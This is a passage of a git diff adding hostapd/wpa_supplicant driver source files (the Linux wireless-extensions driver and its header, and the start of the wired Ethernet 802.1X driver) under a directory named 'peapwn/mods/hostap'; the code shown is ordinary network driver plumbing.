"%s", __FUNCTION__); + + if (drv->cfg80211) { + /* + * Stop cfg80211 from trying to associate before we are done + * with all parameters. + */ + wpa_driver_wext_set_ssid(drv, (u8 *) "", 0); + } + + if (wpa_driver_wext_set_drop_unencrypted(drv, params->drop_unencrypted) + < 0) + ret = -1; + if (wpa_driver_wext_set_auth_alg(drv, params->auth_alg) < 0) + ret = -1; + if (wpa_driver_wext_set_mode(drv, params->mode) < 0) + ret = -1; + + /* + * If the driver did not support SIOCSIWAUTH, fallback to + * SIOCSIWENCODE here. + */ + if (drv->auth_alg_fallback && + wpa_driver_wext_auth_alg_fallback(drv, params) < 0) + ret = -1; + + if (!params->bssid && + wpa_driver_wext_set_bssid(drv, NULL) < 0) + ret = -1; + + /* TODO: should consider getting wpa version and cipher/key_mgmt suites + * from configuration, not from here, where only the selected suite is + * available */ + if (wpa_driver_wext_set_gen_ie(drv, params->wpa_ie, params->wpa_ie_len) + < 0) + ret = -1; + if (params->wpa_ie == NULL || params->wpa_ie_len == 0) + value = IW_AUTH_WPA_VERSION_DISABLED; + else if (params->wpa_ie[0] == WLAN_EID_RSN) + value = IW_AUTH_WPA_VERSION_WPA2; + else + value = IW_AUTH_WPA_VERSION_WPA; + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_WPA_VERSION, value) < 0) + ret = -1; + value = wpa_driver_wext_cipher2wext(params->pairwise_suite); + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_CIPHER_PAIRWISE, value) < 0) + ret = -1; + value = wpa_driver_wext_cipher2wext(params->group_suite); + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_CIPHER_GROUP, value) < 0) + ret = -1; + value = wpa_driver_wext_keymgmt2wext(params->key_mgmt_suite); + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_KEY_MGMT, value) < 0) + ret = -1; + value = params->key_mgmt_suite != KEY_MGMT_NONE || + params->pairwise_suite != CIPHER_NONE || + params->group_suite != CIPHER_NONE || + params->wpa_ie_len; + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_PRIVACY_INVOKED, value) < 0) + ret = -1; + + /* Allow unencrypted EAPOL messages even if pairwise keys are set when + * not using WPA. IEEE 802.1X specifies that these frames are not + * encrypted, but WPA encrypts them when pairwise keys are in use. */ + if (params->key_mgmt_suite == KEY_MGMT_802_1X || + params->key_mgmt_suite == KEY_MGMT_PSK) + allow_unencrypted_eapol = 0; + else + allow_unencrypted_eapol = 1; + + if (wpa_driver_wext_set_psk(drv, params->psk) < 0) + ret = -1; + if (wpa_driver_wext_set_auth_param(drv, + IW_AUTH_RX_UNENCRYPTED_EAPOL, + allow_unencrypted_eapol) < 0) + ret = -1; +#ifdef CONFIG_IEEE80211W + switch (params->mgmt_frame_protection) { + case NO_MGMT_FRAME_PROTECTION: + value = IW_AUTH_MFP_DISABLED; + break; + case MGMT_FRAME_PROTECTION_OPTIONAL: + value = IW_AUTH_MFP_OPTIONAL; + break; + case MGMT_FRAME_PROTECTION_REQUIRED: + value = IW_AUTH_MFP_REQUIRED; + break; + }; + if (wpa_driver_wext_set_auth_param(drv, IW_AUTH_MFP, value) < 0) + ret = -1; +#endif /* CONFIG_IEEE80211W */ + if (params->freq && wpa_driver_wext_set_freq(drv, params->freq) < 0) + ret = -1; + if (!drv->cfg80211 && + wpa_driver_wext_set_ssid(drv, params->ssid, params->ssid_len) < 0) + ret = -1; + if (params->bssid && + wpa_driver_wext_set_bssid(drv, params->bssid) < 0) + ret = -1; + if (drv->cfg80211 && + wpa_driver_wext_set_ssid(drv, params->ssid, params->ssid_len) < 0) + ret = -1; + + return ret; +} + + +static int wpa_driver_wext_set_auth_alg(void *priv, int auth_alg) +{ + struct wpa_driver_wext_data *drv = priv; + int algs = 0, res; + + if (auth_alg & WPA_AUTH_ALG_OPEN) + algs |= IW_AUTH_ALG_OPEN_SYSTEM; + if (auth_alg & WPA_AUTH_ALG_SHARED) + algs |= IW_AUTH_ALG_SHARED_KEY; + if (auth_alg & WPA_AUTH_ALG_LEAP) + algs |= IW_AUTH_ALG_LEAP; + if (algs == 0) { + /* at least one algorithm should be set */ + algs = IW_AUTH_ALG_OPEN_SYSTEM; + } + + res = wpa_driver_wext_set_auth_param(drv, IW_AUTH_80211_AUTH_ALG, + algs); + drv->auth_alg_fallback = res == -2; + return res; +} + + +/** + * wpa_driver_wext_set_mode - Set wireless mode (infra/adhoc), SIOCSIWMODE + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @mode: 0 = infra/BSS (associate with an AP), 1 = adhoc/IBSS + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_set_mode(void *priv, int mode) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = -1; + unsigned int new_mode = mode ? IW_MODE_ADHOC : IW_MODE_INFRA; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.mode = new_mode; + if (ioctl(drv->ioctl_sock, SIOCSIWMODE, &iwr) == 0) { + ret = 0; + goto done; + } + + if (errno != EBUSY) { + perror("ioctl[SIOCSIWMODE]"); + goto done; + } + + /* mac80211 doesn't allow mode changes while the device is up, so if + * the device isn't in the mode we're about to change to, take device + * down, try to set the mode again, and bring it back up. + */ + if (ioctl(drv->ioctl_sock, SIOCGIWMODE, &iwr) < 0) { + perror("ioctl[SIOCGIWMODE]"); + goto done; + } + + if (iwr.u.mode == new_mode) { + ret = 0; + goto done; + } + + if (linux_set_iface_flags(drv->ioctl_sock, drv->ifname, 0) == 0) { + /* Try to set the mode again while the interface is down */ + iwr.u.mode = new_mode; + if (ioctl(drv->ioctl_sock, SIOCSIWMODE, &iwr) < 0) + perror("ioctl[SIOCSIWMODE]"); + else + ret = 0; + + (void) linux_set_iface_flags(drv->ioctl_sock, drv->ifname, 1); + } + +done: + return ret; +} + + +static int wpa_driver_wext_pmksa(struct wpa_driver_wext_data *drv, + u32 cmd, const u8 *bssid, const u8 *pmkid) +{ + struct iwreq iwr; + struct iw_pmksa pmksa; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + os_memset(&pmksa, 0, sizeof(pmksa)); + pmksa.cmd = cmd; + pmksa.bssid.sa_family = ARPHRD_ETHER; + if (bssid) + os_memcpy(pmksa.bssid.sa_data, bssid, ETH_ALEN); + if (pmkid) + os_memcpy(pmksa.pmkid, pmkid, IW_PMKID_LEN); + iwr.u.data.pointer = (caddr_t) &pmksa; + iwr.u.data.length = sizeof(pmksa); + + if (ioctl(drv->ioctl_sock, SIOCSIWPMKSA, &iwr) < 0) { + if (errno != EOPNOTSUPP) + perror("ioctl[SIOCSIWPMKSA]"); + ret = -1; + } + + return ret; +} + + +static int wpa_driver_wext_add_pmkid(void *priv, const u8 *bssid, + const u8 *pmkid) +{ + struct wpa_driver_wext_data *drv = priv; + return wpa_driver_wext_pmksa(drv, IW_PMKSA_ADD, bssid, pmkid); +} + + +static int wpa_driver_wext_remove_pmkid(void *priv, const u8 *bssid, + const u8 *pmkid) +{ + struct wpa_driver_wext_data *drv = priv; + return wpa_driver_wext_pmksa(drv, IW_PMKSA_REMOVE, bssid, pmkid); +} + + +static int wpa_driver_wext_flush_pmkid(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + return wpa_driver_wext_pmksa(drv, IW_PMKSA_FLUSH, NULL, NULL); +} + + +int wpa_driver_wext_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + struct wpa_driver_wext_data *drv = priv; + if (!drv->has_capability) + return -1; + os_memcpy(capa, &drv->capa, sizeof(*capa)); + return 0; +} + + +int wpa_driver_wext_alternative_ifindex(struct wpa_driver_wext_data *drv, + const char *ifname) +{ + if (ifname == NULL) { + drv->ifindex2 = -1; + return 0; + } + + drv->ifindex2 = if_nametoindex(ifname); + if (drv->ifindex2 <= 0) + return -1; + + wpa_printf(MSG_DEBUG, "Added alternative ifindex %d (%s) for " + "wireless events", drv->ifindex2, ifname); + + return 0; +} + + +int wpa_driver_wext_set_operstate(void *priv, int state) +{ + struct wpa_driver_wext_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: operstate %d->%d (%s)", + __func__, drv->operstate, state, state ? "UP" : "DORMANT"); + drv->operstate = state; + return netlink_send_oper_ifla(drv->netlink, drv->ifindex, -1, + state ? IF_OPER_UP : IF_OPER_DORMANT); +} + + +int wpa_driver_wext_get_version(struct wpa_driver_wext_data *drv) +{ + return drv->we_version_compiled; +} + + +static const char * wext_get_radio_name(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + return drv->phyname; +} + + +#ifdef ANDROID + +static int android_wext_cmd(struct wpa_driver_wext_data *drv, const char *cmd) +{ + struct iwreq iwr; + char buf[MAX_DRV_CMD_SIZE]; + int ret; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + + os_memset(buf, 0, sizeof(buf)); + os_strlcpy(buf, cmd, sizeof(buf)); + + iwr.u.data.pointer = buf; + iwr.u.data.length = sizeof(buf); + + ret = ioctl(drv->ioctl_sock, SIOCSIWPRIV, &iwr); + + if (ret < 0) { + wpa_printf(MSG_ERROR, "%s failed (%d): %s", __func__, ret, + cmd); + drv->errors++; + if (drv->errors > DRV_NUMBER_SEQUENTIAL_ERRORS) { + drv->errors = 0; + wpa_msg(drv->ctx, MSG_INFO, WPA_EVENT_DRIVER_STATE + "HANGED"); + } + return ret; + } + + drv->errors = 0; + return 0; +} + + +static int wext_sched_scan(void *priv, struct wpa_driver_scan_params *params, + u32 interval) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0, i = 0, bp; + char buf[WEXT_PNO_MAX_COMMAND_SIZE]; + + bp = WEXT_PNOSETUP_HEADER_SIZE; + os_memcpy(buf, WEXT_PNOSETUP_HEADER, bp); + buf[bp++] = WEXT_PNO_TLV_PREFIX; + buf[bp++] = WEXT_PNO_TLV_VERSION; + buf[bp++] = WEXT_PNO_TLV_SUBVERSION; + buf[bp++] = WEXT_PNO_TLV_RESERVED; + + while (i < WEXT_PNO_AMOUNT && (size_t) i < params->num_ssids) { + /* + * Check that there is enough space needed for 1 more SSID, the + * other sections and null termination. + */ + if ((bp + WEXT_PNO_SSID_HEADER_SIZE + IW_ESSID_MAX_SIZE + + WEXT_PNO_NONSSID_SECTIONS_SIZE + 1) >= (int) sizeof(buf)) + break; + + wpa_hexdump_ascii(MSG_DEBUG, "For PNO Scan", + params->ssids[i].ssid, + params->ssids[i].ssid_len); + buf[bp++] = WEXT_PNO_SSID_SECTION; + buf[bp++] = params->ssids[i].ssid_len; + os_memcpy(&buf[bp], params->ssids[i].ssid, + params->ssids[i].ssid_len); + bp += params->ssids[i].ssid_len; + i++; + } + + buf[bp++] = WEXT_PNO_SCAN_INTERVAL_SECTION; + /* TODO: consider using interval parameter (interval in msec) instead + * of hardcoded value here */ + os_snprintf(&buf[bp], WEXT_PNO_SCAN_INTERVAL_LENGTH + 1, "%x", + WEXT_PNO_SCAN_INTERVAL); + bp += WEXT_PNO_SCAN_INTERVAL_LENGTH; + + buf[bp++] = WEXT_PNO_REPEAT_SECTION; + os_snprintf(&buf[bp], WEXT_PNO_REPEAT_LENGTH + 1, "%x", + WEXT_PNO_REPEAT); + bp += WEXT_PNO_REPEAT_LENGTH; + + buf[bp++] = WEXT_PNO_MAX_REPEAT_SECTION; + os_snprintf(&buf[bp], WEXT_PNO_MAX_REPEAT_LENGTH + 1, "%x", + WEXT_PNO_MAX_REPEAT); + bp += WEXT_PNO_MAX_REPEAT_LENGTH + 1; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.data.pointer = buf; + iwr.u.data.length = bp; + + ret = ioctl(drv->ioctl_sock, SIOCSIWPRIV, &iwr); + if (ret < 0) { + wpa_printf(MSG_ERROR, "ioctl[SIOCSIWPRIV] (pnosetup): %d", + ret); + drv->errors++; + if (drv->errors > DRV_NUMBER_SEQUENTIAL_ERRORS) { + drv->errors = 0; + wpa_msg(drv->ctx, MSG_INFO, + WPA_EVENT_DRIVER_STATE "HANGED"); + } + return ret; + } + + drv->errors = 0; + drv->bgscan_enabled = 1; + + return android_wext_cmd(drv, "PNOFORCE 1"); +} + + +static int wext_stop_sched_scan(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + drv->bgscan_enabled = 0; + return android_wext_cmd(drv, "PNOFORCE 0"); +} + +#endif /* ANDROID */ + + +const struct wpa_driver_ops wpa_driver_wext_ops = { + .name = "wext", + .desc = "Linux wireless extensions (generic)", + .get_bssid = wpa_driver_wext_get_bssid, + .get_ssid = wpa_driver_wext_get_ssid, + .set_key = wpa_driver_wext_set_key, + .set_countermeasures = wpa_driver_wext_set_countermeasures, + .scan2 = wpa_driver_wext_scan, + .get_scan_results2 = wpa_driver_wext_get_scan_results, + .deauthenticate = wpa_driver_wext_deauthenticate, + .associate = wpa_driver_wext_associate, + .init = wpa_driver_wext_init, + .deinit = wpa_driver_wext_deinit, + .add_pmkid = wpa_driver_wext_add_pmkid, + .remove_pmkid = wpa_driver_wext_remove_pmkid, + .flush_pmkid = wpa_driver_wext_flush_pmkid, + .get_capa = wpa_driver_wext_get_capa, + .set_operstate = wpa_driver_wext_set_operstate, + .get_radio_name = wext_get_radio_name, +#ifdef ANDROID + .sched_scan = wext_sched_scan, + .stop_sched_scan = wext_stop_sched_scan, +#endif /* ANDROID */ +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_wext.h b/peapwn/mods/hostap/src/drivers/driver_wext.h new file mode 100644 index 000000000..c4a5bc99c --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_wext.h @@ -0,0 +1,87 @@ +/* + * WPA Supplicant - driver_wext exported functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DRIVER_WEXT_H +#define DRIVER_WEXT_H + +#include + +struct wpa_driver_wext_data { + void *ctx; + struct netlink_data *netlink; + int ioctl_sock; + int mlme_sock; + char ifname[IFNAMSIZ + 1]; + char phyname[32]; + int ifindex; + int ifindex2; + int if_removed; + int if_disabled; + struct rfkill_data *rfkill; + u8 *assoc_req_ies; + size_t assoc_req_ies_len; + u8 *assoc_resp_ies; + size_t assoc_resp_ies_len; + struct wpa_driver_capa capa; + int has_capability; + int we_version_compiled; + + /* for set_auth_alg fallback */ + int use_crypt; + int auth_alg_fallback; + + int operstate; + + char mlmedev[IFNAMSIZ + 1]; + + int scan_complete_events; + + int cfg80211; /* whether driver is using cfg80211 */ + + u8 max_level; + +#ifdef ANDROID + int errors; + int driver_is_started; + int bgscan_enabled; +#endif /* ANDROID */ +}; + +int wpa_driver_wext_get_bssid(void *priv, u8 *bssid); +int wpa_driver_wext_set_bssid(void *priv, const u8 *bssid); +int wpa_driver_wext_get_ssid(void *priv, u8 *ssid); +int wpa_driver_wext_set_ssid(void *priv, const u8 *ssid, size_t ssid_len); +int wpa_driver_wext_set_freq(void *priv, int freq); +int wpa_driver_wext_set_mode(void *priv, int mode); +int wpa_driver_wext_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, + int set_tx, const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len); +int wpa_driver_wext_scan(void *priv, struct wpa_driver_scan_params *params); +struct wpa_scan_results * wpa_driver_wext_get_scan_results(void *priv); + +void wpa_driver_wext_scan_timeout(void *eloop_ctx, void *timeout_ctx); + +int wpa_driver_wext_alternative_ifindex(struct wpa_driver_wext_data *drv, + const char *ifname); + +void * wpa_driver_wext_init(void *ctx, const char *ifname); +void wpa_driver_wext_deinit(void *priv); + +int wpa_driver_wext_set_operstate(void *priv, int state); +int wpa_driver_wext_get_version(struct wpa_driver_wext_data *drv); + +int wpa_driver_wext_associate(void *priv, + struct wpa_driver_associate_params *params); +int wpa_driver_wext_get_capa(void *priv, struct wpa_driver_capa *capa); +int wpa_driver_wext_set_auth_param(struct wpa_driver_wext_data *drv, + int idx, u32 value); +int wpa_driver_wext_cipher2wext(int cipher); +int wpa_driver_wext_keymgmt2wext(int keymgmt); + +#endif /* DRIVER_WEXT_H */ diff --git a/peapwn/mods/hostap/src/drivers/driver_wired.c b/peapwn/mods/hostap/src/drivers/driver_wired.c new file mode 100644 index 000000000..21f5e4248 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_wired.c @@ -0,0 +1,662 @@ +/* + * Wired Ethernet driver interface + * Copyright (c) 2005-2009, Jouni Malinen + * Copyright (c) 2004, Gunter Burchardt + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#ifdef __linux__ +#include +#include +#include +#endif /* __linux__ */ +#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__FreeBSD_kernel__) +#include +#include +#endif /* defined(__FreeBSD__) || defined(__DragonFly__) || defined(__FreeBSD_kernel__) */ +#ifdef __sun__ +#include +#endif /* __sun__ */ + +#include "common.h" +#include "eloop.h" +#include "driver.h" + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct ieee8023_hdr { + u8 dest[6]; + u8 src[6]; + u16 ethertype; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + + +struct wpa_driver_wired_data { + char ifname[IFNAMSIZ + 1]; + void *ctx; + + int sock; /* raw packet socket for driver access */ + int dhcp_sock; /* socket for dhcp packets */ + int use_pae_group_addr; + + int pf_sock; + int membership, multi, iff_allmulti, iff_up; +}; + + +/* TODO: detecting new devices should eventually be changed from using DHCP + * snooping to trigger on any packet from a new layer 2 MAC address, e.g., + * based on ebtables, etc. */ + +struct dhcp_message { + u_int8_t op; + u_int8_t htype; + u_int8_t hlen; + u_int8_t hops; + u_int32_t xid; + u_int16_t secs; + u_int16_t flags; + u_int32_t ciaddr; + u_int32_t yiaddr; + u_int32_t siaddr; + u_int32_t giaddr; + u_int8_t chaddr[16]; + u_int8_t sname[64]; + u_int8_t file[128]; + u_int32_t cookie; + u_int8_t options[308]; /* 312 - cookie */ +}; + + +static int wired_multicast_membership(int sock, int ifindex, + const u8 *addr, int add) +{ +#ifdef __linux__ + struct packet_mreq mreq; + + if (sock < 0) + return -1; + + os_memset(&mreq, 0, sizeof(mreq)); + mreq.mr_ifindex = ifindex; + mreq.mr_type = PACKET_MR_MULTICAST; + mreq.mr_alen = ETH_ALEN; + os_memcpy(mreq.mr_address, addr, ETH_ALEN); + + if (setsockopt(sock, SOL_PACKET, + add ? PACKET_ADD_MEMBERSHIP : PACKET_DROP_MEMBERSHIP, + &mreq, sizeof(mreq)) < 0) { + perror("setsockopt"); + return -1; + } + return 0; +#else /* __linux__ */ + return -1; +#endif /* __linux__ */ +} + + +#ifdef __linux__ +static void handle_data(void *ctx, unsigned char *buf, size_t len) +{ +#ifdef HOSTAPD + struct ieee8023_hdr *hdr; + u8 *pos, *sa; + size_t left; + union wpa_event_data event; + + /* must contain at least ieee8023_hdr 6 byte source, 6 byte dest, + * 2 byte ethertype */ + if (len < 14) { + wpa_printf(MSG_MSGDUMP, "handle_data: too short (%lu)", + (unsigned long) len); + return; + } + + hdr = (struct ieee8023_hdr *) buf; + + switch (ntohs(hdr->ethertype)) { + case ETH_P_PAE: + wpa_printf(MSG_MSGDUMP, "Received EAPOL packet"); + sa = hdr->src; + os_memset(&event, 0, sizeof(event)); + event.new_sta.addr = sa; + wpa_supplicant_event(ctx, EVENT_NEW_STA, &event); + + pos = (u8 *) (hdr + 1); + left = len - sizeof(*hdr); + drv_event_eapol_rx(ctx, sa, pos, left); + break; + + default: + wpa_printf(MSG_DEBUG, "Unknown ethertype 0x%04x in data frame", + ntohs(hdr->ethertype)); + break; + } +#endif /* HOSTAPD */ +} + + +static void handle_read(int sock, void *eloop_ctx, void *sock_ctx) +{ + int len; + unsigned char buf[3000]; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) { + perror("recv"); + return; + } + + handle_data(eloop_ctx, buf, len); +} + + +static void handle_dhcp(int sock, void *eloop_ctx, void *sock_ctx) +{ + int len; + unsigned char buf[3000]; + struct dhcp_message *msg; + u8 *mac_address; + union wpa_event_data event; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) { + perror("recv"); + return; + } + + /* must contain at least dhcp_message->chaddr */ + if (len < 44) { + wpa_printf(MSG_MSGDUMP, "handle_dhcp: too short (%d)", len); + return; + } + + msg = (struct dhcp_message *) buf; + mac_address = (u8 *) &(msg->chaddr); + + wpa_printf(MSG_MSGDUMP, "Got DHCP broadcast packet from " MACSTR, + MAC2STR(mac_address)); + + os_memset(&event, 0, sizeof(event)); + event.new_sta.addr = mac_address; + wpa_supplicant_event(eloop_ctx, EVENT_NEW_STA, &event); +} +#endif /* __linux__ */ + + +static int wired_init_sockets(struct wpa_driver_wired_data *drv, u8 *own_addr) +{ +#ifdef __linux__ + struct ifreq ifr; + struct sockaddr_ll addr; + struct sockaddr_in addr2; + int n = 1; + + drv->sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_PAE)); + if (drv->sock < 0) { + perror("socket[PF_PACKET,SOCK_RAW]"); + return -1; + } + + if (eloop_register_read_sock(drv->sock, handle_read, drv->ctx, NULL)) { + printf("Could not register read socket\n"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + if (ioctl(drv->sock, SIOCGIFINDEX, &ifr) != 0) { + perror("ioctl(SIOCGIFINDEX)"); + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sll_family = AF_PACKET; + addr.sll_ifindex = ifr.ifr_ifindex; + wpa_printf(MSG_DEBUG, "Opening raw packet socket for ifindex %d", + addr.sll_ifindex); + + if (bind(drv->sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("bind"); + return -1; + } + + /* filter multicast address */ + if (wired_multicast_membership(drv->sock, ifr.ifr_ifindex, + pae_group_addr, 1) < 0) { + wpa_printf(MSG_ERROR, "wired: Failed to add multicast group " + "membership"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + if (ioctl(drv->sock, SIOCGIFHWADDR, &ifr) != 0) { + perror("ioctl(SIOCGIFHWADDR)"); + return -1; + } + + if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { + printf("Invalid HW-addr family 0x%04x\n", + ifr.ifr_hwaddr.sa_family); + return -1; + } + os_memcpy(own_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN); + + /* setup dhcp listen socket for sta detection */ + if ((drv->dhcp_sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { + perror("socket call failed for dhcp"); + return -1; + } + + if (eloop_register_read_sock(drv->dhcp_sock, handle_dhcp, drv->ctx, + NULL)) { + printf("Could not register read socket\n"); + return -1; + } + + os_memset(&addr2, 0, sizeof(addr2)); + addr2.sin_family = AF_INET; + addr2.sin_port = htons(67); + addr2.sin_addr.s_addr = INADDR_ANY; + + if (setsockopt(drv->dhcp_sock, SOL_SOCKET, SO_REUSEADDR, (char *) &n, + sizeof(n)) == -1) { + perror("setsockopt[SOL_SOCKET,SO_REUSEADDR]"); + return -1; + } + if (setsockopt(drv->dhcp_sock, SOL_SOCKET, SO_BROADCAST, (char *) &n, + sizeof(n)) == -1) { + perror("setsockopt[SOL_SOCKET,SO_BROADCAST]"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_ifrn.ifrn_name, drv->ifname, IFNAMSIZ); + if (setsockopt(drv->dhcp_sock, SOL_SOCKET, SO_BINDTODEVICE, + (char *) &ifr, sizeof(ifr)) < 0) { + perror("setsockopt[SOL_SOCKET,SO_BINDTODEVICE]"); + return -1; + } + + if (bind(drv->dhcp_sock, (struct sockaddr *) &addr2, + sizeof(struct sockaddr)) == -1) { + perror("bind"); + return -1; + } + + return 0; +#else /* __linux__ */ + return -1; +#endif /* __linux__ */ +} + + +static int wired_send_eapol(void *priv, const u8 *addr, + const u8 *data, size_t data_len, int encrypt, + const u8 *own_addr, u32 flags) +{ + struct wpa_driver_wired_data *drv = priv; + struct ieee8023_hdr *hdr; + size_t len; + u8 *pos; + int res; + + len = sizeof(*hdr) + data_len; + hdr = os_zalloc(len); + if (hdr == NULL) { + printf("malloc() failed for wired_send_eapol(len=%lu)\n", + (unsigned long) len); + return -1; + } + + os_memcpy(hdr->dest, drv->use_pae_group_addr ? pae_group_addr : addr, + ETH_ALEN); + os_memcpy(hdr->src, own_addr, ETH_ALEN); + hdr->ethertype = htons(ETH_P_PAE); + + pos = (u8 *) (hdr + 1); + os_memcpy(pos, data, data_len); + + res = send(drv->sock, (u8 *) hdr, len, 0); + os_free(hdr); + + if (res < 0) { + perror("wired_send_eapol: send"); + printf("wired_send_eapol - packet len: %lu - failed\n", + (unsigned long) len); + } + + return res; +} + + +static void * wired_driver_hapd_init(struct hostapd_data *hapd, + struct wpa_init_params *params) +{ + struct wpa_driver_wired_data *drv; + + drv = os_zalloc(sizeof(struct wpa_driver_wired_data)); + if (drv == NULL) { + printf("Could not allocate memory for wired driver data\n"); + return NULL; + } + + drv->ctx = hapd; + os_strlcpy(drv->ifname, params->ifname, sizeof(drv->ifname)); + drv->use_pae_group_addr = params->use_pae_group_addr; + + if (wired_init_sockets(drv, params->own_addr)) { + os_free(drv); + return NULL; + } + + return drv; +} + + +static void wired_driver_hapd_deinit(void *priv) +{ + struct wpa_driver_wired_data *drv = priv; + + if (drv->sock >= 0) + close(drv->sock); + + if (drv->dhcp_sock >= 0) + close(drv->dhcp_sock); + + os_free(drv); +} + + +static int wpa_driver_wired_get_ssid(void *priv, u8 *ssid) +{ + ssid[0] = 0; + return 0; +} + + +static int wpa_driver_wired_get_bssid(void *priv, u8 *bssid) +{ + /* Report PAE group address as the "BSSID" for wired connection. */ + os_memcpy(bssid, pae_group_addr, ETH_ALEN); + return 0; +} + + +static int wpa_driver_wired_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + os_memset(capa, 0, sizeof(*capa)); + capa->flags = WPA_DRIVER_FLAGS_WIRED; + return 0; +} + + +static int wpa_driver_wired_get_ifflags(const char *ifname, int *flags) +{ + struct ifreq ifr; + int s; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + perror("socket"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, (caddr_t) &ifr) < 0) { + perror("ioctl[SIOCGIFFLAGS]"); + close(s); + return -1; + } + close(s); + *flags = ifr.ifr_flags & 0xffff; + return 0; +} + + +static int wpa_driver_wired_set_ifflags(const char *ifname, int flags) +{ + struct ifreq ifr; + int s; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + perror("socket"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags = flags & 0xffff; + if (ioctl(s, SIOCSIFFLAGS, (caddr_t) &ifr) < 0) { + perror("ioctl[SIOCSIFFLAGS]"); + close(s); + return -1; + } + close(s); + return 0; +} + + +#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__FreeBSD_kernel__) +static int wpa_driver_wired_get_ifstatus(const char *ifname, int *status) +{ + struct ifmediareq ifmr; + int s; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + perror("socket"); + return -1; + } + + os_memset(&ifmr, 0, sizeof(ifmr)); + os_strlcpy(ifmr.ifm_name, ifname, IFNAMSIZ); + if (ioctl(s, SIOCGIFMEDIA, (caddr_t) &ifmr) < 0) { + perror("ioctl[SIOCGIFMEDIA]"); + close(s); + return -1; + } + close(s); + *status = (ifmr.ifm_status & (IFM_ACTIVE | IFM_AVALID)) == + (IFM_ACTIVE | IFM_AVALID); + + return 0; +} +#endif /* defined(__FreeBSD__) || defined(__DragonFly__) || defined(FreeBSD_kernel__) */ + + +static int wpa_driver_wired_multi(const char *ifname, const u8 *addr, int add) +{ + struct ifreq ifr; + int s; + +#ifdef __sun__ + return -1; +#endif /* __sun__ */ + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + perror("socket"); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); +#ifdef __linux__ + ifr.ifr_hwaddr.sa_family = AF_UNSPEC; + os_memcpy(ifr.ifr_hwaddr.sa_data, addr, ETH_ALEN); +#endif /* __linux__ */ +#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__FreeBSD_kernel__) + { + struct sockaddr_dl *dlp; + dlp = (struct sockaddr_dl *) &ifr.ifr_addr; + dlp->sdl_len = sizeof(struct sockaddr_dl); + dlp->sdl_family = AF_LINK; + dlp->sdl_index = 0; + dlp->sdl_nlen = 0; + dlp->sdl_alen = ETH_ALEN; + dlp->sdl_slen = 0; + os_memcpy(LLADDR(dlp), addr, ETH_ALEN); + } +#endif /* defined(__FreeBSD__) || defined(__DragonFly__) || defined(FreeBSD_kernel__) */ +#if defined(__NetBSD__) || defined(__OpenBSD__) || defined(__APPLE__) + { + struct sockaddr *sap; + sap = (struct sockaddr *) &ifr.ifr_addr; + sap->sa_len = sizeof(struct sockaddr); + 